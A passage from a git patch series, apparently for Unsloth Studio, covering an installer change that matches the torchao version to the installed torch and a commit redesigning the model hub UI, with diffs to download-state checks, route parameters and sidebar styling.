+# Unknown/older torch keeps the conservative default (no regression vs today).
+_TORCHAO_DEFAULT_SPEC = "torchao==0.14.0"
+_TORCHAO_BY_TORCH_MINOR: dict[int, str] = {
+    10: "torchao==0.16.0",
+    11: "torchao==0.17.0",
+}
+
+
+def _select_torchao_spec(torch_version: str | None) -> str:
+    """Map an installed torch version string (e.g. '2.10.0+cu130') to the torchao
+    pip spec whose cpp extensions match it. Falls back to _TORCHAO_DEFAULT_SPEC for
+    torch <=2.9, a non-2.x major, or an unparseable/missing version. Pure function.
+    """
+    if not torch_version:
+        return _TORCHAO_DEFAULT_SPEC
+    release = str(torch_version).split("+", 1)[0]  # drop +cu130/+rocm6.4/+cpu
+    parts = release.split(".")
+    try:
+        # Strip any pre-release/dev suffix from the minor (e.g. '10rc1' -> '10'),
+        # matching wheel_utils.probe_torch_wheel_env.
+        minor_str = re.sub(r"[^0-9].*", "", parts[1]) if len(parts) > 1 else ""
+        major, minor = int(parts[0]), int(minor_str)
+    except (IndexError, ValueError):
+        return _TORCHAO_DEFAULT_SPEC
+    if major != 2:
+        return _TORCHAO_DEFAULT_SPEC
+    if minor >= 11:
+        return _TORCHAO_BY_TORCH_MINOR[11]  # newest known build; covers 2.11+
+    return _TORCHAO_BY_TORCH_MINOR.get(minor, _TORCHAO_DEFAULT_SPEC)
+
+
+def _probe_installed_torch_version() -> str | None:
+    """Return torch.__version__ from the target venv (sys.executable), or None if
+    torch is absent/unimportable. Cross-platform (unlike probe_torch_wheel_env,
+    which is Linux-only); mirrors the subprocess probe in _ensure_cuda_torch.
+    """
+    try:
+        probe = subprocess.run(
+            [
+                sys.executable,
+                "-c",
+                "import torch, sys; sys.stdout.write(getattr(torch, '__version__', ''))",
+            ],
+            stdout = subprocess.PIPE,
+            stderr = subprocess.DEVNULL,
+            text = True,
+            timeout = 90,
+            **_windows_hidden_subprocess_kwargs(),
+        )
+    except (OSError, subprocess.TimeoutExpired):
+        return None
+    if probe.returncode != 0:
+        return None
+    lines = [line.strip() for line in (probe.stdout or "").splitlines() if line.strip()]
+    return lines[-1] if lines else None
+
+
 # AMD Windows ROCm wheels (repo.amd.com/rocm/whl/{arch_family}/).
 # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped/mirror installs.
 _ROCM_WINDOWS_INDEX_BASE = (
@@ -2072,25 +2138,29 @@ def install_python_stack() -> int:
         req = REQ_ROOT / "extras-no-deps.txt",
     )
 
-    # 4. Overrides (torchao, transformers) -- force-reinstall.
-    #    Skip when torch is unavailable (e.g. Intel Mac GGUF-only mode):
-    #    overrides.txt contains torchao, which requires torch.
+    # 4. Overrides (torchao) -- force-reinstall. The torchao version is chosen to
+    #    match the torch installed in the venv so its C++ extensions load (see
+    #    _select_torchao_spec). Skip when torch is unavailable (e.g. Intel Mac
+    #    GGUF-only mode): torchao requires torch.
     if NO_TORCH:
         _progress("dependency overrides (skipped, no torch)")
     else:
         _progress("dependency overrides")
+        _torch_ver = _probe_installed_torch_version()
+        _torchao_spec = _select_torchao_spec(_torch_ver)
+        _safe_print(f"   torch {_torch_ver or 'unknown'} detected -- installing {_torchao_spec}")
         _override_extra_args: tuple[str, ...] = ()
         if _rocm_windows_torch_installed:
-            # torchao in overrides.txt declares torch as a dependency; without
-            # --no-deps uv would install CPU torch from PyPI, overwriting the
-            # AMD ROCm wheels we just installed.
+            # torchao declares torch as a dependency; without --no-deps uv would
+            # install CPU torch from PyPI, overwriting the AMD ROCm wheels we just
+            # installed.
             _override_extra_args = ("--no-deps",)
         pip_install(
             "Installing dependency overrides",
             "--force-reinstall",
             "--no-cache-dir",
             *_override_extra_args,
-            req = REQ_ROOT / "overrides.txt",
+            _torchao_spec,
         )
 
     # 5. Triton kernels (no-deps, from source). Skip on Windows and macOS

From 435cdbc372a9e6fa16d03a871e399c6872865418 Mon Sep 17 00:00:00 2001
From: Eyera <hauzin@hotmail.com>
Date: Wed, 17 Jun 2026 13:50:34 +0200
Subject: [PATCH 42/91] feat(hub): full-page redesign with trending feed,
 search, and persisted state (#6349)

* fix(hub): stop demoting cached gguf variants on mmproj or filename mismatch

- bug: a quant with its bytes on disk was marked not fully downloaded when the API-preferred main filenames did not match or the mmproj adapter was absent
- fix: fall back to the on-disk quant byte signal, the same one inventory uses for on-device, so a present quant is no longer demoted
- broaden mmproj detection to accept any mmproj-looking cached file, not only the API-preferred name

* feat(hub): full-page redesign with trending feed, search, and persisted state

- convert the hub to a full-page view with a new layout, model cards, and a sortable models table
- add a trending/latest/finetune feed with model and section deep-link params validated on the hub route
- add recent searches and rework model and dataset search with pagination and infinite scroll
- persist feed and token state through a dedicated store and persist-storage layer

* fix(hub): browse sorting, deep-link presets, dataset URLs, and persistence

- sort dropdown: drive HF-wide browse across all repos by the chosen sort, respecting format and capability filters
- section deep-link: apply the section preset (format and sort) on refresh and deep-link, not only on click
- dataset detail URL: persist the resource kind so refresh and share resolve datasets correctly
- gguf card: show a Loading state for hub-cache dir-path repos via repo-id match
- active-model CTA: New Chat now actually opens a fresh chat
- persist-storage: fix throttle keying with a Map and dedupe a duplicated util
- transport-toggle: drop redundant controlled-tooltip state

* Studio: polish hub redesign UI and unify segmented tabs

Refinements on top of the hub full-page redesign:

- Unify every segmented control (Discover/On Device, models/datasets,
  Unsloth/All, recent/name/size, settings tabs, train dataset source,
  profile shape, theme, OS toggle) on one filled-pill design.
- Hub list now loads in larger batches with a shorter fetch interval so
  results fill in fast instead of dripping one row at a time.
- Disable remote avatar fetches in list rows and brighten the colored
  initial fallbacks so they read clearly without network calls.
- Add a split master-detail view for model lists and make it the default.
- Left-align the split "Showing GGUF models" header with the rows below.
- Round the "Load more" footer box and tidy On Device stats layout.
- Show recent trainings on Recipes and Export, falling back to recent
  chats when there is no training history.

* Studio: address hub review comments (filter warning + scrollMargin)

- DiscoverFetchMoreFooter only shows the "results may be hidden by your
  filters" note when a filter is actually active, instead of always.
- Use the destructured scrollMargin prop directly in the row transform
  rather than reaching into virtualizer.options.scrollMargin.

* Fix/adjust Hub metadata and deep links for PR #6349

* Studio: drop avatar ring in hub split view

The split master-pane rows (discover + on device) added a ring-1 around
the owner avatar that read as a shadow. Remove it so split-view avatars
match the flat avatars elsewhere; grid cards and the full list keep theirs.

* Studio: hub sort + scope as dropdown pills beside view tabs

Recent/Name/Size and Unsloth/All were segmented controls that dropped to
their own row in the narrow split pane. Make each a compact dropdown pill
(HubOptionMenu) that sits in the header actions slot next to the view-mode
tabs in every layout, so split view no longer needs a separate row.

* Studio: align hub list header with the view tabs and rows

- Vertically center the "On device" / "Showing GGUF models" title with the
  dropdown pill and view-mode tabs (items-center instead of items-end), so a
  short title no longer sits low against the taller tab row.
- Nudge the back chevron 2px further left (-ml-2) so its glyph edge lines up
  with the start of the row hover below it.

* Studio: align back chevron tip with the row hover edge

The arrow glyph is inset ~6px inside its centered icon box, so an
edge-aligned button left the visible chevron sitting in from the column.
Pull the button out (-ml-3.5) so the chevron tip lands on the row hover's
left edge instead of floating to its right.

* Studio: unify every bare tick on the shared check mark

Point all plain checkmarks at the canonical @/lib/tick-icon tick (the one
already used in the chat composer and menus), so there is a single tick
across the app:

- Hub: model-inspector, hub-option-menu, path-info-button were importing
  the stock hugeicons Tick02Icon; switch them to the shared icon.
- Chat / assistant-ui: artifact-surface, prompt-storage-dialog, reasoning,
  tool-ui-python, tool-ui-terminal, tool-ui-code-execution, and the
  tool-fallback status map used lucide CheckIcon; render the shared tick
  via HugeiconsIcon instead (tool-fallback wraps it to fit its icon map).

The circular CheckmarkCircle success badges are intentionally left as-is.
No bare CheckIcon/stock Tick02Icon references remain; verified the tick
renders in every converted spot via typecheck + build.

* Studio: nudge back chevron 2px right

-ml-3.5 pushed the chevron a touch too far left; -ml-3 sits it just
inside the row hover edge, aligned with the avatars below.

* Studio: search base-model chips across all publishers

Clicking a Base model chip searches the Hub for the upstream repo, which
lives under another publisher (google, meta, etc.). It left ownerScope at
the default "unsloth", so the search hard-restricted to the Unsloth org and
could never surface the base model. Switch the scope to "all" for this action.

* Studio: label the safetensors list header "Safetensors"

The focused list heading showed "Showing Checkpoint ... models" while the
format dropdown labels the same checkpoint filter value "Safetensors". Match
the dropdown so the header reads "Showing Safetensors ... models".

* Studio: simplify the focused list heading to "Models"

Drop the format/capability composition (e.g. "Showing Safetensors Reasoning
models") so the focused list heading just reads "Models" (or "Datasets").
Search keeps its "Results for ..." label.

* Studio: drop the header refresh button to the text baseline

The refresh button sat at the heading's vertical centre. Nudge it down so
it lines up with the bottom of the title text instead.

* Studio: hide redundant "Back to Hub" in the split detail pane

In split view on large screens the master list sits beside the detail, so
the back button is redundant. Hide it there (lg) and reclaim the top space.
It stays on the small-screen overlay and the full-page detail, where the
list is hidden and back is the only way out.

* Studio: match the readme scroll fade to the left column

The detail pane relied on the sticky back-bar's fade, which is now hidden in
split view. Add the same hub-scroll-fade overlay the master list uses so the
readme fades consistently at the top when scrolled. The back-bar, when shown,
sits above and covers it.

* Studio: align Hub refresh button to the heading text bottom

* Studio: nudge Hub refresh button up to the heading text

* Studio: optically centre the HF token shield in its circle

* Studio: preview the first visible on-device row in split view

* Studio: calm the on-device row colour and fix size tooltip contrast

* Studio: fix Hub reset tab and clear search when opening a section

* Studio: fix Hub feed defaults, filter sync, and GGUF vision download state

* Studio: condense Hub redesign code comments

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: shimmyshimmer <info@unsloth.ai>
Co-authored-by: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 .../hub/services/models/gguf_variants.py      |   54 +-
 studio/frontend/src/app/routes/hub.tsx        |   18 +-
 .../frontend/src/components/app-sidebar.tsx   |   38 +-
 .../src/components/assistant-ui/reasoning.tsx |    6 +-
 .../components/assistant-ui/tool-fallback.tsx |   11 +-
 .../assistant-ui/tool-ui-code-execution.tsx   |   11 +-
 .../assistant-ui/tool-ui-python.tsx           |    6 +-
 .../assistant-ui/tool-ui-terminal.tsx         |    6 +-
 .../frontend/src/components/ui/combobox.tsx   |   26 +-
 studio/frontend/src/components/ui/select.tsx  |    3 +-
 .../chat/artifacts/artifact-surface.tsx       |   11 +-
 .../frontend/src/features/chat/chat-page.tsx  |   14 +-
 .../src/features/chat/chat-settings-sheet.tsx |    2 +-
 .../chat/components/chat-search-dialog.tsx    |    2 +-
 .../prompt-storage/prompt-storage-dialog.tsx  |   10 +-
 .../data-recipes/pages/data-recipes-page.tsx  |    3 +
 .../src/features/export/export-page.tsx       |    3 +
 .../features/hub/catalog/card-carousel.tsx    |  149 ++
 .../features/hub/catalog/catalog-states.tsx   |   41 +-
 .../hub/catalog/dataset-download-section.tsx  |    2 +-
 .../hub/catalog/download-cancel-indicator.tsx |    3 +-
 .../features/hub/catalog/download-card.tsx    |   12 +-
 .../catalog/external-link-confirm-dialog.tsx  |    4 +-
 .../hub/catalog/gguf-download-card.tsx        |   15 +-
 .../features/hub/catalog/hub-detail-view.tsx  |   81 +
 .../src/features/hub/catalog/hub-feed.tsx     |   40 +
 .../features/hub/catalog/hub-option-menu.tsx  |   21 +-
 .../features/hub/catalog/hub-section-row.tsx  |   92 +
 .../src/features/hub/catalog/hub-top-bar.tsx  |   14 +
 .../hub/catalog/local-dataset-card.tsx        |    2 +-
 .../hub/catalog/local-on-device-card.tsx      |    9 +-
 .../src/features/hub/catalog/model-card.tsx   |  362 +++
 .../features/hub/catalog/model-inspector.tsx  |  212 +-
 .../hub/catalog/models-catalog-lists.tsx      |  184 +-
 .../hub/catalog/models-catalog-rows.tsx       |  494 +++--
 .../features/hub/catalog/models-catalog.tsx   |  237 +-
 .../features/hub/catalog/models-header.tsx    |   33 +-
 .../src/features/hub/catalog/models-table.tsx |  894 ++++++++
 .../features/hub/catalog/models-toolbar.tsx   |  363 ++--
 .../hub/catalog/on-device-folders-dialog.tsx  |   29 +-
 .../src/features/hub/catalog/owner-avatar.tsx |   79 +-
 .../hub/catalog/owner-scope-toggle.tsx        |   34 +
 .../features/hub/catalog/path-info-button.tsx |    9 +-
 .../features/hub/catalog/recent-searches.tsx  |   80 +
 .../hub/catalog/safetensors-download-card.tsx |    2 +-
 .../src/features/hub/catalog/shared.tsx       |  121 +-
 .../features/hub/catalog/transport-toggle.tsx |   18 +-
 .../hub/components/hf-token-indicator.tsx     |   13 +-
 .../features/hub/components/page-heading.tsx  |   28 +-
 .../src/features/hub/components/train-icon.ts |    4 +-
 .../src/features/hub/download-manager/api.ts  |    6 +-
 .../download-manager/download-api-adapter.ts  |    2 +-
 .../download-manager-panel.tsx                |   17 +-
 .../download-manager-state.ts                 |   65 +-
 .../download-manager-types.ts                 |    4 +-
 .../download-progress-bar.tsx                 |    2 +-
 .../hub/download-manager/hydration.ts         |    4 +-
 .../hub/download-manager/poll-loop.ts         |   24 +-
 .../download-manager/transport-conflict.ts    |    4 +-
 .../download-manager/transport-preference.ts  |    7 +-
 .../hub/download-manager/use-repo-download.ts |    4 +-
 .../features/hub/hooks/use-discover-search.ts |   29 +-
 .../features/hub/hooks/use-feed-write-back.ts |   31 +
 .../hub/hooks/use-hub-dataset-search.ts       |   31 +-
 .../src/features/hub/hooks/use-hub-feed.ts    |  258 +++
 .../hub/hooks/use-hub-infinite-scroll.ts      |   12 +-
 .../hub/hooks/use-hub-model-search.ts         |  344 ++-
 .../hub/hooks/use-hub-paginated-search.ts     |   41 +-
 .../hub/hooks/use-models-selection.ts         |   48 +-
 .../hub/hooks/use-selected-model-view.ts      |   64 +-
 studio/frontend/src/features/hub/hub-page.tsx |  926 ++++++--
 studio/frontend/src/features/hub/hub.css      | 1931 ++++++++++++-----
 .../hub/inventory/use-device-inventory.ts     |    4 +-
 .../src/features/hub/lib/avatar-theme.ts      |   28 +
 .../src/features/hub/lib/card-accent.ts       |  109 +
 .../frontend/src/features/hub/lib/channels.ts |   37 +-
 .../src/features/hub/lib/format-filters.ts    |    5 +-
 .../frontend/src/features/hub/lib/format.ts   |   28 +
 .../frontend/src/features/hub/lib/hf-cache.ts |   29 +-
 .../src/features/hub/lib/hf-owner-avatar.ts   |   56 +-
 .../src/features/hub/lib/hf-readme.ts         |    5 +-
 .../src/features/hub/lib/hub-feature-flags.ts |    6 +
 .../features/hub/lib/model-capabilities.ts    |   93 +-
 .../frontend/src/features/hub/lib/network.ts  |    7 +-
 .../src/features/hub/lib/provider-logos.ts    |   22 +-
 .../src/features/hub/lib/recent-searches.ts   |  101 +
 .../features/hub/lib/selection-resolution.ts  |   16 -
 .../src/features/hub/lib/unsloth-support.ts   |    9 +-
 .../features/hub/lib/use-dominant-color.ts    |  101 +
 .../src/features/hub/lib/view-models.ts       |   64 +-
 .../src/features/hub/stores/hf-token-store.ts |    2 +-
 .../src/features/hub/stores/hub-feed-store.ts |  149 ++
 .../features/hub/stores/persist-storage.ts    |   46 +
 studio/frontend/src/features/hub/types.ts     |    4 +
 .../profile-personalization-panel.tsx         |    6 +-
 .../settings/components/create-key-form.tsx   |   13 +-
 .../settings/components/theme-segmented.tsx   |    6 +-
 .../components/update-studio-instructions.tsx |    8 +-
 .../settings/components/usage-examples.tsx    |   10 +-
 .../src/features/settings/settings-dialog.tsx |    2 +-
 .../studio/recent-trainings-section.tsx       |   37 +
 .../studio/sections/dataset-section.tsx       |   87 +-
 .../studio/sections/model-section.tsx         |    2 +-
 studio/frontend/src/index.css                 |    5 +-
 104 files changed, 7025 insertions(+), 1831 deletions(-)
 create mode 100644 studio/frontend/src/features/hub/catalog/card-carousel.tsx
 create mode 100644 studio/frontend/src/features/hub/catalog/hub-detail-view.tsx
 create mode 100644 studio/frontend/src/features/hub/catalog/hub-feed.tsx
 create mode 100644 studio/frontend/src/features/hub/catalog/hub-section-row.tsx
 create mode 100644 studio/frontend/src/features/hub/catalog/hub-top-bar.tsx
 create mode 100644 studio/frontend/src/features/hub/catalog/model-card.tsx
 create mode 100644 studio/frontend/src/features/hub/catalog/models-table.tsx
 create mode 100644 studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
 create mode 100644 studio/frontend/src/features/hub/catalog/recent-searches.tsx
 create mode 100644 studio/frontend/src/features/hub/hooks/use-feed-write-back.ts
 create mode 100644 studio/frontend/src/features/hub/hooks/use-hub-feed.ts
 create mode 100644 studio/frontend/src/features/hub/lib/avatar-theme.ts
 create mode 100644 studio/frontend/src/features/hub/lib/card-accent.ts
 create mode 100644 studio/frontend/src/features/hub/lib/recent-searches.ts
 create mode 100644 studio/frontend/src/features/hub/lib/use-dominant-color.ts
 create mode 100644 studio/frontend/src/features/hub/stores/hub-feed-store.ts
 create mode 100644 studio/frontend/src/features/hub/stores/persist-storage.ts
 create mode 100644 studio/frontend/src/features/studio/recent-trainings-section.tsx

diff --git a/studio/backend/hub/services/models/gguf_variants.py b/studio/backend/hub/services/models/gguf_variants.py
index 095e3de641..74c3ad6ce2 100644
--- a/studio/backend/hub/services/models/gguf_variants.py
+++ b/studio/backend/hub/services/models/gguf_variants.py
@@ -525,33 +525,51 @@ async def get_gguf_variants_response(
             return False
 
         def _any_mmproj_cached(filenames: frozenset[str]) -> bool:
-            return any(
+            if any(
                 by_filename.get(name.lower()) is not None
                 for by_filename in cached_filenames_by_snapshot
                 for name in filenames
+            ):
+                return True
+            return any(
+                _is_mmproj_filename(name.rsplit("/", 1)[-1])
+                for by_filename in cached_filenames_by_snapshot
+                for name in by_filename
+            )
+
+        def _quant_bytes_present(quant: str, size_bytes: int) -> bool:
+            # Small rounding tolerance for symlinks vs real sizes.
+            if size_bytes <= 0:
+                return False
+            return any(
+                by_quant.get(quant, 0) >= size_bytes * 0.99
+                for by_quant in cached_quant_bytes_by_snapshot
             )
 
         def _is_fully_downloaded(variant) -> bool:
-            requirement = requirements_by_quant.get(variant.quant.lower())
-            if requirement is None:
-                if variant.size_bytes == 0:
-                    return False
-                quant = variant.quant.lower()
-                # Allow small rounding tolerance (symlinks vs real sizes).
-                return any(
-                    by_quant.get(quant, 0) >= variant.size_bytes * 0.99
-                    for by_quant in cached_quant_bytes_by_snapshot
+            quant = variant.quant.lower()
+            requirement = requirements_by_quant.get(quant)
+            # Vision repos ship an mmproj adapter; any precision on disk suffices.
+            if (
+                requirement is not None
+                and _filenames_cached(
+                    requirement.main_filenames,
+                    requirement.main_size_bytes,
+                )
+                and (
+                    not requirement.mmproj_filenames
+                    or _any_mmproj_cached(requirement.mmproj_filenames)
                 )
-            if not _filenames_cached(
-                requirement.main_filenames,
-                requirement.main_size_bytes,
             ):
+                return True
+            # Byte fallback so a present quant isn't demoted by a filename mismatch;
+            # vision repos still need an mmproj cached (any precision).
+            if not _quant_bytes_present(quant, variant.size_bytes):
                 return False
-            # Vision repos ship an mmproj adapter per variant. Any mmproj
-            # precision on disk suffices (the loader picks whichever is present);
-            # requiring the API-preferred one would falsely demote variants.
-            if requirement.mmproj_filenames and not _any_mmproj_cached(
-                requirement.mmproj_filenames,
+            if (
+                requirement is not None
+                and requirement.mmproj_filenames
+                and not _any_mmproj_cached(requirement.mmproj_filenames)
             ):
                 return False
             return True
diff --git a/studio/frontend/src/app/routes/hub.tsx b/studio/frontend/src/app/routes/hub.tsx
index dcd6617ec8..c623ef9848 100644
--- a/studio/frontend/src/app/routes/hub.tsx
+++ b/studio/frontend/src/app/routes/hub.tsx
@@ -14,6 +14,9 @@ const ModelsPage = lazy(() =>
 
 export interface ModelsSearch {
   tab?: "discover" | "downloaded";
+  model?: string;
+  section?: "trending" | "latest" | "finetune";
+  kind?: "models" | "datasets";
 }
 
 export const Route = createRoute({
@@ -22,8 +25,19 @@ export const Route = createRoute({
   beforeLoad: () => requireAuth(),
   component: ModelsPage,
   validateSearch: (search: Record<string, unknown>): ModelsSearch => {
+    const next: ModelsSearch = {};
     const raw = search.tab;
-    if (raw === "discover" || raw === "downloaded") return { tab: raw };
-    return {};
+    if (raw === "discover" || raw === "downloaded") next.tab = raw;
+    const model = search.model;
+    if (typeof model === "string" && model.length > 0) next.model = model;
+    const section = search.section;
+    if (section === "trending" || section === "latest" || section === "finetune") {
+      next.section = section;
+    }
+    const kind = search.kind;
+    if (kind === "models" || kind === "datasets") {
+      next.kind = kind;
+    }
+    return next;
   },
 });
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 66accdce3a..8255d49de8 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -84,7 +84,7 @@ import {
 } from "@/components/ui/tooltip";
 import { Tooltip as TooltipPrimitive } from "radix-ui";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { ChevronDown, MoreHorizontalIcon, Moon } from "lucide-react";
+import { ChevronDown, Moon } from "lucide-react";
 import { Link, useNavigate, useRouterState } from "@tanstack/react-router";
 import {
   archiveChatItem,
@@ -226,7 +226,7 @@ function NavItem({
           onClick={onClick}
           isActive={active}
           data-tour={dataTour}
-          className="sidebar-nav-btn h-[33px] rounded-full gap-[8.5px] pl-3 pr-2.5 font-medium group-data-[collapsible=icon]:px-2.5 group-data-[collapsible=icon]:!w-[32px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:mx-auto"
+          className="sidebar-nav-btn h-[33px] rounded-[14px] gap-[8.5px] pl-3 pr-2.5 font-medium group-data-[collapsible=icon]:px-2.5 group-data-[collapsible=icon]:!w-[32px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:mx-auto"
         >
           <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-icon! shrink-0 group-hover/menu-button:animate-icon-pop" />
           <span className="text-[14.5px] leading-[19px] tracking-nav">{label}</span>
@@ -293,6 +293,7 @@ export function AppSidebar() {
   };
 
   const isRecipesRoute = pathname.startsWith("/data-recipes");
+  const isExportRoute = pathname === "/export" || pathname.startsWith("/export/");
   const { displayTitle, avatarDataUrl } = useEffectiveProfile();
 
   const { projects } = useChatProjects();
@@ -334,10 +335,14 @@ export function AppSidebar() {
       undefined
     : undefined;
 
-  // Training runs
+  // Training runs: surfaced as sidebar "Recents" on Train, Recipes, and Export,
+  // falling back to chat recents when there are no runs yet.
+  const trainingRecentsRoute = isStudioRoute || isRecipesRoute || isExportRoute;
   const { items: runItems } = useTrainingHistorySidebarItems(
-    !chatOnly && isStudioRoute,
+    !chatOnly && trainingRecentsRoute,
   );
+  const showTrainingRecents =
+    !chatOnly && trainingRecentsRoute && runItems.length > 0;
   const activeJobId = useTrainingRuntimeStore((s) => s.jobId);
   const currentRunViewActive = useTrainingRuntimeStore((s) => s.currentRunViewActive);
   const selectedHistoryRunId = useTrainingRuntimeStore((s) => s.selectedHistoryRunId);
@@ -667,7 +672,7 @@ export function AppSidebar() {
         ? "sidebar-row-action group-hover/project-chat-item:opacity-100 group-hover/project-chat-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto"
         : "sidebar-row-action group-hover/recent-item:opacity-100 group-hover/recent-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto";
     const buttonClass = cn(
-      "sidebar-nav-btn h-[33px] cursor-pointer rounded-full pr-4 text-[14.5px] leading-[19px] tracking-nav font-medium",
+      "sidebar-nav-btn h-[33px] cursor-pointer rounded-[14px] pr-4 text-[14.5px] leading-[19px] tracking-nav font-medium",
       // pl-3 (12px) over the content's pl-1.5 (6px) = 18px, aligning the
       // title with the nav items above.
       variant === "project" ? "pl-[39px]" : "pl-3",
@@ -921,7 +926,7 @@ export function AppSidebar() {
                 <button
                   type="button"
                   onClick={togglePinned}
-                  className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-full text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
                   aria-label={t("shell.aria.closeSidebar")}
                 >
                   <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
@@ -946,7 +951,7 @@ export function AppSidebar() {
                 <button
                   type="button"
                   onClick={togglePinned}
-                  className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-full text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
                   aria-label={t("shell.aria.openSidebar")}
                 >
                   <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
@@ -1117,7 +1122,7 @@ export function AppSidebar() {
         </Collapsible>
 
         {/* Pinned chats: own section above Recents */}
-        {!isStudioRoute && pinnedChatItems.length > 0 && (
+        {!isStudioRoute && !showTrainingRecents && pinnedChatItems.length > 0 && (
           <Collapsible open={pinnedOpen} onOpenChange={setPinnedOpen} asChild>
             <SidebarGroup className="group-data-[collapsible=icon]:hidden px-0 py-0">
               <SidebarGroupLabel className={cn("sidebar-sticky-label sidebar-sticky-label-following", scrolled && "is-scrolled")} asChild>
@@ -1139,7 +1144,7 @@ export function AppSidebar() {
           </Collapsible>
         )}
 
-        {!isStudioRoute && (
+        {!isStudioRoute && !showTrainingRecents && (
           <Collapsible open={chatOpen} onOpenChange={setChatOpen} asChild>
             <SidebarGroup className="group-data-[collapsible=icon]:hidden px-0 py-0">
               <SidebarGroupLabel className={cn("sidebar-sticky-label sidebar-sticky-label-following", scrolled && "is-scrolled")} asChild>
@@ -1161,7 +1166,7 @@ export function AppSidebar() {
           </Collapsible>
         )}
 
-        {isStudioRoute && runItems.length > 0 && !chatOnly && (
+        {showTrainingRecents && (
           <Collapsible open={runsOpen} onOpenChange={setRunsOpen} asChild>
           <SidebarGroup className="group-data-[collapsible=icon]:hidden px-0 py-0">
             <SidebarGroupLabel className={cn("sidebar-sticky-label sidebar-sticky-label-following", scrolled && "is-scrolled")} asChild>
@@ -1189,9 +1194,12 @@ export function AppSidebar() {
                       >
                         <SidebarMenuButton
                           isActive={isActiveRun}
-                          className="sidebar-nav-btn h-auto flex-col items-start gap-0.5 py-[5px] rounded-full pl-3 pr-7 text-[14.5px] tracking-nav font-medium"
+                          className="sidebar-nav-btn h-auto flex-col items-start gap-0.5 py-[5px] rounded-[14px] pl-3 pr-7 text-[14.5px] tracking-nav font-medium"
                           onClick={() => {
                             setSelectedHistoryRunId(run.id);
+                            // From Recipes/Export, jump to Train so the run's
+                            // history opens (studio reacts to selectedHistoryRunId).
+                            if (!isStudioRoute) navigate({ to: "/studio" });
                             closeMobileIfOpen();
                           }}
                         >
@@ -1206,7 +1214,7 @@ export function AppSidebar() {
                             <span className="truncate">
                               {run.display_name ?? run.model_name}
                             </span>
-                            <span className="ml-auto shrink-0 text-[10px] text-muted-foreground">
+                            <span className="ml-auto mr-0.5 shrink-0 text-[10px] text-muted-foreground">
                               {formatRelativeShort(run.started_at)}
                             </span>
                           </div>
@@ -1223,7 +1231,7 @@ export function AppSidebar() {
                               className="sidebar-row-action group-hover/run-item:opacity-100 group-hover/run-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto"
                             >
                               <span className="sidebar-row-action-glyph">
-                                <MoreHorizontalIcon strokeWidth={1.75} className="size-icon" />
+                                <HugeiconsIcon icon={MoreVerticalIcon} strokeWidth={1.75} className="size-icon" />
                               </span>
                             </button>
                           </DropdownMenuTrigger>
@@ -1278,14 +1286,14 @@ export function AppSidebar() {
                 <SidebarMenuButton
                   size="lg"
                   aria-label={t("shell.accountMenu", { name: displayTitle })}
-                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-[14px]"
+                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-[14px] group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
                 >
                   <div className="flex shrink-0 items-center">
                     <UserAvatar
                       name={displayTitle}
                       imageUrl={avatarDataUrl}
                       size="sm"
-                      className="!size-[32px]"
+                      className="!size-[32px] group-data-[collapsible=icon]:!rounded-full"
                     />
                   </div>
                   <div className="flex flex-col gap-px leading-tight group-data-[collapsible=icon]:hidden">
diff --git a/studio/frontend/src/components/assistant-ui/reasoning.tsx b/studio/frontend/src/components/assistant-ui/reasoning.tsx
index 3eaa21a19e..a6c326c64e 100644
--- a/studio/frontend/src/components/assistant-ui/reasoning.tsx
+++ b/studio/frontend/src/components/assistant-ui/reasoning.tsx
@@ -20,7 +20,9 @@ import {
 } from "@assistant-ui/react";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { type VariantProps, cva } from "class-variance-authority";
-import { CheckIcon, ChevronDownIcon, CopyIcon, LightbulbIcon } from "lucide-react";
+import { ChevronDownIcon, CopyIcon, LightbulbIcon } from "lucide-react";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { HugeiconsIcon } from "@hugeicons/react";
 import {
   type CSSProperties,
   type ComponentProps,
@@ -293,7 +295,7 @@ function ReasoningCopyButton({ startIndex, endIndex }: { startIndex: number; end
